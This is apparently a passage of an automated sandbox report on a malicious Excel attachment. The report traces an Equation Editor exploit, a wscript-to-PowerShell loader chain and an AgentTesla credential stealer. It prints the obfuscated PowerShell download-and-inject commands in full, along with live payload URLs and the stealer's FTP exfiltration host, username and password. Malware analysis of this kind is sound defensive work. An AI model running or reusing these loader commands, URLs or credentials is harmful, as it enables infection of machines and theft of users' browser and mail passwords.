tam9pbiAoa0Z2YmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpJysnIHc1JysnYyBGb3JFYWNoLU9iamVjdCB7IGtGdl8gfSlbLTEuLi0oa0Z2YmFzZTY0Q29tbWFuZC5MZW5ndGgpXTtrRnZjb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tJysnQmFzZTY0U3RyaW5nKGtGdmJhc2U2NFJldmVyc2UnKydkKTtrRnZsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZScrJ20uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoa0Z2Y29tbWFuZEJ5dGVzKTtrRnZ2YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKGd3MFZBSWd3MCk7a0Z2dmFpTWV0aG9kLkludm9rZShrRnYnKydudWxsLCBAKGd3MHR4dC5hYWFhYWJld21hZGFtLzMxLjEnKyczLjI3MS43MCcrJzEvLzpwdHRoJysnZ3cwLCBndzBkZScrJ3NhdGl2YWRvZ3cwLCBndzBkZScrJ3NhdGl2YWRvZ3cwLCBndzBkZXNhdGl2YWRvZ3cwLCBndzBBZGRJblByb2Nlc3MzMmd3MCwgZ3cwZGVzYXRpdmFkb2d3MCwgZ3cwZGVzYXRpdmFkb2d3MCxndzBkZXNhdGl2YWRvJysnZ3cwLGd3MGRlc2F0aXZhJysnZG9ndzAsZ3cwZGVzYXRpdmFkb2d3MCxndzBkZXNhdGl2YWRvZ3cwLGd3MGRlc2F0aXZhZG9ndzAsZ3cwMWd3MCxndzBkZXNhdGl2YWRvZ3cwKScrJyk7JykuUmVQbGFDZSgndzVjJyxbU3RySW5HXVtDaEFSXTEyNCkuUmVQbGFDZSgna0Z2JywnJCcpLlJlUGxhQ2UoKFtDaEFSXTEwMytbQ2hBUl0xMTkrW0NoQVJdNDgpLFtTdHJJbkddW0NoQVJdMzkpIHwgJiAoKHZhcklBQkxFICcqTWRyKicpLk5hbWVbMywxMSwyXS1KT2luJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('kFvimageUrl'+' = '+'gw0https://drive.google.'+'co'+'m/uc?exp'+'ort=download&id=1AIVgJJJv1F6vS4sUOybnH-sD'+'vUhBYwur gw0;kFv'+'webClient = New-Object System.Net.WebCl'+'ient;kF'+'vima'+'geBytes = '+'kFvwebClient.'+'DownloadData(kFvimageUrl);kFvimageText = [System.Text.E'+'ncoding]::UTF8.GetStrin'+'g(kFvimageBytes);kFvstartFlag = gw0<<BASE64_START>>gw0;kFvend'+'Flag = gw0<<BA'+'SE64_END>>gw0;kFvstartInde'+'x = kFvimageText.IndexOf(kFvstartFlag);kF'+'vendIndex = kFvimageText.I'+'ndexOf(kFvendFl'+'ag);kFvstartIndex -ge 0 -'+'a'+'nd kFvendIndex '+'-gt kFvstartIndex;kFvstartIndex += kFvstartFlag.Length;kFvbase64Length = kFvendIndex - kFvstartIndex;kFvbase64Command = kFvimageText.Substring(kFvstartInd'+'ex, kFvbase64Length);kFvbase64Reversed = -join (kFvbase64Command.ToCharArray()'+' w5'+'c ForEach-Object { kFv_ })[-1..-(kFvbase64Command.Length)];kFvcommandBytes = [System.Convert]::From'+'Base64String(kFvbase64Reverse'+'d);kFvloadedAssembly = [Syste'+'m.Reflection.Assembly]::Load(kFvcommandBytes);kFvvaiMethod = [dnlib.IO.Home].GetMethod(gw0VAIgw0);kFvvaiMethod.Invoke(kFv'+'null, @(gw0txt.aaaaabewmadam/31.1'+'3.271.70'+'1//:ptth'+'gw0, gw0de'+'sativadogw0, gw0de'+'sativadogw0, gw0desativadogw0, gw0AddInProcess32gw0, gw0desativadogw0, gw0desativadogw0,gw0desativado'+'gw0,gw0desativa'+'dogw0,gw0desativadogw0,gw0desativadogw0,gw0desativadogw0,gw01gw0,gw0desativadogw0)'+');').RePlaCe('w5c',[StrInG][ChAR]124).RePlaCe('kFv','$').RePlaCe(([ChAR]103+[ChAR]119+[ChAR]48),[StrInG][ChAR]39) \| & ((varIABLE 'Mdr').Name[3,11,2]-JOin'')"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"	Jump to behavior

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'kcdrrnzpbwfnzvvybccrjya9iccrj2d3mgh0dhbzoi8vzhjpdmuuz29vz2xllicrj2nvjysnbs91yz9lehankydvcnq9zg93bmxvywqmawq9mufjvmdkskp2muy2dlm0c1vpewjusc1zrccrj3zvaejzd3vyigd3mdtrrnynkyd3zwjdbgllbnqgpsbozxctt2jqzwn0ifn5c3rlbs5ozxquv2viq2wnkydpzw50o2tgjysndmltyscrj2dlqnl0zxmgpsankydrrnz3zwjdbgllbnqujysnrg93bmxvywreyxrhkgtgdmltywdlvxjskttrrnzpbwfnzvrlehqgpsbbu3lzdgvtllrlehqurscrj25jb2rpbmddojpvvey4lkdldfn0cmlujysnzyhrrnzpbwfnzuj5dgvzkttrrnzzdgfydezsywcgpsbndza8pejbu0u2nf9tvefsvd4+z3cwo2tgdmvuzccrj0zsywcgpsbndza8pejbjysnu0u2nf9ftkq+pmd3mdtrrnzzdgfydeluzgunkyd4id0ga0z2aw1hz2vuzxh0lkluzgv4t2yoa0z2c3rhcnrgbgfnkttrricrj3zlbmrjbmrleca9igtgdmltywdlvgv4dc5jjysnbmrlee9mkgtgdmvuzezsjysnywcpo2tgdnn0yxj0sw5kzxgglwdlidaglscrj2enkyduzcbrrnzlbmrjbmrlecankyctz3qga0z2c3rhcnrjbmrledtrrnzzdgfydeluzgv4ics9igtgdnn0yxj0rmxhzy5mzw5ndgg7a0z2ymfzzty0tgvuz3roid0ga0z2zw5ksw5kzxgglsbrrnzzdgfydeluzgv4o2tgdmjhc2u2nenvbw1hbmqgpsbrrnzpbwfnzvrlehquu3vic3ryaw5nkgtgdnn0yxj0sw5kjysnzxgsigtgdmjhc2u2nexlbmd0ack7a0z2ymfzzty0umv2zxjzzwqgpsatam9pbiaoa0z2ymfzzty0q29tbwfuzc5ub0noyxjbcnjhesgpjysnihc1jysnyybgb3jfywnolu9iamvjdcb7igtgdl8gfslblteuli0oa0z2ymfzzty0q29tbwfuzc5mzw5ndggpxttrrnzjb21tyw5kqnl0zxmgpsbbu3lzdgvtlknvbnzlcnrdojpgcm9tjysnqmfzzty0u3ryaw5nkgtgdmjhc2u2nfjldmvyc2unkydkkttrrnzsb2fkzwrbc3nlbwjsesa9ifttexn0zscrj20uumvmbgvjdglvbi5bc3nlbwjsev06okxvywqoa0z2y29tbwfuzej5dgvzkttrrnz2ywlnzxrob2qgpsbbzg5sawiusu8usg9tzv0ur2v0twv0ag9kkgd3mfzbswd3mck7a0z2dmfptwv0ag9klkludm9rzshrrnynkydudwxslcbakgd3mhr4dc5hywfhywjld21hzgftlzmxljenkyczlji3ms43mccrjzevlzpwdhrojysnz3cwlcbndzbkzscrj3nhdgl2ywrvz3cwlcbndzbkzscrj3nhdgl2ywrvz3cwlcbndzbkzxnhdgl2ywrvz3cwlcbndzbbzgrjblbyb2nlc3mzmmd3mcwgz3cwzgvzyxrpdmfkb2d3mcwgz3cwzgvzyxrpdmfkb2d3mcxndzbkzxnhdgl2ywrvjysnz3cwlgd3mgrlc2f0axzhjysnzg9ndzasz3cwzgvzyxrpdmfkb2d3mcxndzbkzxnhdgl2ywrvz3cwlgd3mgrlc2f0axzhzg9ndzasz3cwmwd3mcxndzbkzxnhdgl2ywrvz3cwkscrjyk7jykuumvqbgfdzsgndzvjjyxbu3rysw5hxvtdaefsxteynckuumvqbgfdzsgna0z2jywnjccplljlugxhq2uokftdaefsxtewmytbq2hbul0xmtkrw0noqvjdndgplfttdhjjbkddw0noqvjdmzkpihwgjiaokhzhcklbqkxficcqtwrykicplk5hbwvbmywxmswyxs1kt2lujycp';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "('kfvimageurl'+' = '+'gw0https://drive.google.'+'co'+'m/uc?exp'+'ort=download&id=1aivgjjjv1f6vs4suoybnh-sd'+'vuhbywur gw0;kfv'+'webclient = new-object system.net.webcl'+'ient;kf'+'vima'+'gebytes = '+'kfvwebclient.'+'downloaddata(kfvimageurl);kfvimagetext = [system.text.e'+'ncoding]::utf8.getstrin'+'g(kfvimagebytes);kfvstartflag = gw0<<base64_start>>gw0;kfvend'+'flag = gw0<<ba'+'se64_end>>gw0;kfvstartinde'+'x = kfvimagetext.indexof(kfvstartflag);kf'+'vendindex = kfvimagetext.i'+'ndexof(kfvendfl'+'ag);kfvstartindex -ge 0 -'+'a'+'nd kfvendindex '+'-gt kfvstartindex;kfvstartindex += kfvstartflag.length;kfvbase64length = kfvendindex - kfvstartindex;kfvbase64command = kfvimagetext.substring(kfvstartind'+'ex, kfvbase64length);kfvbase64reversed = -join (kfvbase64command.tochararray()'+' w5'+'c foreach-object { kfv_ })[-1..-(kfvbase64command.length)];kfvcommandbytes = [system.convert]::from'+'base64string(kfvbase64reverse'+'d);kfvloadedassembly = [syste'+'m.reflection.assembly]::load(kfvcommandbytes);kfvvaimethod = [dnlib.io.home].getmethod(gw0vaigw0);kfvvaimethod.invoke(kfv'+'null, @(gw0txt.aaaaabewmadam/31.1'+'3.271.70'+'1//:ptth'+'gw0, gw0de'+'sativadogw0, gw0de'+'sativadogw0, gw0desativadogw0, gw0addinprocess32gw0, gw0desativadogw0, gw0desativadogw0,gw0desativado'+'gw0,gw0desativa'+'dogw0,gw0desativadogw0,gw0desativadogw0,gw0desativadogw0,gw01gw0,gw0desativadogw0)'+');').replace('w5c',[string][char]124).replace('kfv','$').replace(([char]103+[char]119+[char]48),[string][char]39) \| & ((variable 'mdr').name[3,11,2]-join'')"
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'kcdrrnzpbwfnzvvybccrjya9iccrj2d3mgh0dhbzoi8vzhjpdmuuz29vz2xllicrj2nvjysnbs91yz9lehankydvcnq9zg93bmxvywqmawq9mufjvmdkskp2muy2dlm0c1vpewjusc1zrccrj3zvaejzd3vyigd3mdtrrnynkyd3zwjdbgllbnqgpsbozxctt2jqzwn0ifn5c3rlbs5ozxquv2viq2wnkydpzw50o2tgjysndmltyscrj2dlqnl0zxmgpsankydrrnz3zwjdbgllbnqujysnrg93bmxvywreyxrhkgtgdmltywdlvxjskttrrnzpbwfnzvrlehqgpsbbu3lzdgvtllrlehqurscrj25jb2rpbmddojpvvey4lkdldfn0cmlujysnzyhrrnzpbwfnzuj5dgvzkttrrnzzdgfydezsywcgpsbndza8pejbu0u2nf9tvefsvd4+z3cwo2tgdmvuzccrj0zsywcgpsbndza8pejbjysnu0u2nf9ftkq+pmd3mdtrrnzzdgfydeluzgunkyd4id0ga0z2aw1hz2vuzxh0lkluzgv4t2yoa0z2c3rhcnrgbgfnkttrricrj3zlbmrjbmrleca9igtgdmltywdlvgv4dc5jjysnbmrlee9mkgtgdmvuzezsjysnywcpo2tgdnn0yxj0sw5kzxgglwdlidaglscrj2enkyduzcbrrnzlbmrjbmrlecankyctz3qga0z2c3rhcnrjbmrledtrrnzzdgfydeluzgv4ics9igtgdnn0yxj0rmxhzy5mzw5ndgg7a0z2ymfzzty0tgvuz3roid0ga0z2zw5ksw5kzxgglsbrrnzzdgfydeluzgv4o2tgdmjhc2u2nenvbw1hbmqgpsbrrnzpbwfnzvrlehquu3vic3ryaw5nkgtgdnn0yxj0sw5kjysnzxgsigtgdmjhc2u2nexlbmd0ack7a0z2ymfzzty0umv2zxjzzwqgpsatam9pbiaoa0z2ymfzzty0q29tbwfuzc5ub0noyxjbcnjhesgpjysnihc1jysnyybgb3jfywnolu9iamvjdcb7igtgdl8gfslblteuli0oa0z2ymfzzty0q29tbwfuzc5mzw5ndggpxttrrnzjb21tyw5kqnl0zxmgpsbbu3lzdgvtlknvbnzlcnrdojpgcm9tjysnqmfzzty0u3ryaw5nkgtgdmjhc2u2nfjldmvyc2unkydkkttrrnzsb2fkzwrbc3nlbwjsesa9ifttexn0zscrj20uumvmbgvjdglvbi5bc3nlbwjsev06okxvywqoa0z2y29tbwfuzej5dgvzkttrrnz2ywlnzxrob2qgpsbbzg5sawiusu8usg9tzv0ur2v0twv0ag9kkgd3mfzbswd3mck7a0z2dmfptwv0ag9klkludm9rzshrrnynkydudwxslcbakgd3mhr4dc5hywfhywjld21hzgftlzmxljenkyczlji3ms43mccrjzevlzpwdhrojysnz3cwlcbndzbkzscrj3nhdgl2ywrvz3cwlcbndzbkzscrj3nhdgl2ywrvz3cwlcbndzbkzxnhdgl2ywrvz3cwlcbndzbbzgrjblbyb2nlc3mzmmd3mcwgz3cwzgvzyxrpdmfkb2d3mcwgz3cwzgvzyxrpdmfkb2d3mcxndzbkzxnhdgl2ywrvjysnz3cwlgd3mgrlc2f0axzhjysnzg9ndzasz3cwzgvzyxrpdmfkb2d3mcxndzbkzxnhdgl2ywrvz3cwlgd3mgrlc2f0axzhzg9ndzasz3cwmwd3mcxndzbkzxnhdgl2ywrvz3cwkscrjyk7jykuumvqbgfdzsgndzvjjyxbu3rysw5hxvtdaefsxteynckuumvqbgfdzsgna0z2jywnjccplljlugxhq2uokftdaefsxtewmytbq2hbul0xmtkrw0noqvjdndgplfttdhjjbkddw0noqvjdmzkpihwgjiaokhzhcklbqkxficcqtwrykicplk5hbwvbmywxmswyxs1kt2lujycp';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "('kfvimageurl'+' = '+'gw0https://drive.google.'+'co'+'m/uc?exp'+'ort=download&id=1aivgjjjv1f6vs4suoybnh-sd'+'vuhbywur gw0;kfv'+'webclient = new-object system.net.webcl'+'ient;kf'+'vima'+'gebytes = '+'kfvwebclient.'+'downloaddata(kfvimageurl);kfvimagetext = [system.text.e'+'ncoding]::utf8.getstrin'+'g(kfvimagebytes);kfvstartflag = gw0<<base64_start>>gw0;kfvend'+'flag = gw0<<ba'+'se64_end>>gw0;kfvstartinde'+'x = kfvimagetext.indexof(kfvstartflag);kf'+'vendindex = kfvimagetext.i'+'ndexof(kfvendfl'+'ag);kfvstartindex -ge 0 -'+'a'+'nd kfvendindex '+'-gt kfvstartindex;kfvstartindex += kfvstartflag.length;kfvbase64length = kfvendindex - kfvstartindex;kfvbase64command = kfvimagetext.substring(kfvstartind'+'ex, kfvbase64length);kfvbase64reversed = -join (kfvbase64command.tochararray()'+' w5'+'c foreach-object { kfv_ })[-1..-(kfvbase64command.length)];kfvcommandbytes = [system.convert]::from'+'base64string(kfvbase64reverse'+'d);kfvloadedassembly = [syste'+'m.reflection.assembly]::load(kfvcommandbytes);kfvvaimethod = [dnlib.io.home].getmethod(gw0vaigw0);kfvvaimethod.invoke(kfv'+'null, @(gw0txt.aaaaabewmadam/31.1'+'3.271.70'+'1//:ptth'+'gw0, gw0de'+'sativadogw0, gw0de'+'sativadogw0, gw0desativadogw0, gw0addinprocess32gw0, gw0desativadogw0, gw0desativadogw0,gw0desativado'+'gw0,gw0desativa'+'dogw0,gw0desativadogw0,gw0desativadogw0,gw0desativadogw0,gw01gw0,gw0desativadogw0)'+');').replace('w5c',[string][char]124).replace('kfv','$').replace(([char]103+[char]119+[char]48),[string][char]39) \| & ((variable 'mdr').name[3,11,2]-join'')"	Jump to behavior

Queries the volume information (name, serial number etc) of a device

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe VolumeInformation	Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: 8.2.powershell.exe.723ab28.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.powershell.exe.723ab28.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.525088434.000000000723A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.626497727.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 3984, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: AddInProcess32.exe PID: 3136, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior

Yara detected Credential Stealer

Source: Yara match	File source: 8.2.powershell.exe.723ab28.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.powershell.exe.723ab28.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.525088434.000000000723A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.626497727.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.628239471.00000000023C5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 3984, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: AddInProcess32.exe PID: 3136, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: 8.2.powershell.exe.723ab28.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.powershell.exe.723ab28.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.525088434.000000000723A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.626497727.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 3984, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: AddInProcess32.exe PID: 3136, type: MEMORYSTR

Screenshots

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Network Map

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Contacted Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
208.95.112.1	ip-api.com	United States	53334	TUT-ASUS	true
107.172.31.13	unknown	United States	36352	AS-COLOCROSSINGUS	true
216.58.212.174	drive.google.com	United States	15169	GOOGLEUS	false
142.250.186.97	drive.usercontent.google.com	United States	15169	GOOGLEUS	false

Contacted Domains

Name	IP	Active
drive.google.com	216.58.212.174	true
drive.usercontent.google.com	142.250.186.97	true
ip-api.com	208.95.112.1	true

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://107.172.31.13/NIGHTTTTMPDW-constraints.vbs	true		unknown
http://107.172.31.13/madamwebaaaaa.txt	true		unknown
http://ip-api.com/line/?fields=hosting	false	URL Reputation: safe	unknown

AV Detection

Antivirus / Scanner detection for submitted sample

Source: transferencia interbancaria_66579.xlam.xlsx

Avira: detected

Found malware configuration

Source: 9.2.AddInProcess32.exe.400000.0.unpack

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "FTP", "Host": "ftp://ftp.fosna.net", "Username": "madamweb@fosna.net", "Password": "=A+N^@~c]~#I"}

Multi AV Scanner detection for submitted file

Source: transferencia interbancaria_66579.xlam.xlsx

ReversingLabs: Detection: 63%

Exploits

Office equation editor establishes network connection

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Network connect: IP: 107.172.31.13 Port: 80

Jump to behavior

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Windows\SysWOW64\wscript.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Windows\SysWOW64\wscript.exe			Jump to behavior

Office Equation Editor has been started

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding

Uses insecure TLS / SSL version for HTTPS connection

Source: unknown	HTTPS traffic detected: 216.58.212.174:443 -> 192.168.2.22:49166 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 142.250.186.97:443 -> 192.168.2.22:49167 version: TLS 1.0

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source:	Binary string: dnlib.dotnet.pdb source: powershell.exe, 00000008.00000002.520018273.0000000000872000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.dotnet.pdb.dss source: powershell.exe, 00000008.00000002.520018273.0000000000872000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.dotnet.pdb.managed source: powershell.exe, 00000008.00000002.520018273.0000000000872000.00000004.00000800.00020000.00000000.sdmp

Software Vulnerabilities

Document exploit detected (process start blacklist hit)

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Shellcode detected

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_035603F0 LoadLibraryW,	2_2_035603F0
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_0356047F URLDownloadToFileW,ShellExecuteW,ExitProcess,	2_2_0356047F
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_035604AD ShellExecuteW,ExitProcess,	2_2_035604AD
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_035604D2 ExitProcess,	2_2_035604D2
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_03560498 ShellExecuteW,ExitProcess,	2_2_03560498
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_03560329 ExitProcess,	2_2_03560329

Suspicious execution chain found

Source: C:\Windows\SysWOW64\wscript.exe

Child: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Potential document exploit detected (performs DNS queries)

Source: global traffic	DNS query: name: drive.google.com
Source: global traffic	DNS query: name: drive.usercontent.google.com
Source: global traffic	DNS query: name: ip-api.com

Potential document exploit detected (performs HTTP gets)

Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 216.58.212.174:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 208.95.112.1:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 216.58.212.174:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 216.58.212.174:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 216.58.212.174:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 216.58.212.174:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 216.58.212.174:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 216.58.212.174:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 216.58.212.174:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 216.58.212.174:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 216.58.212.174:443
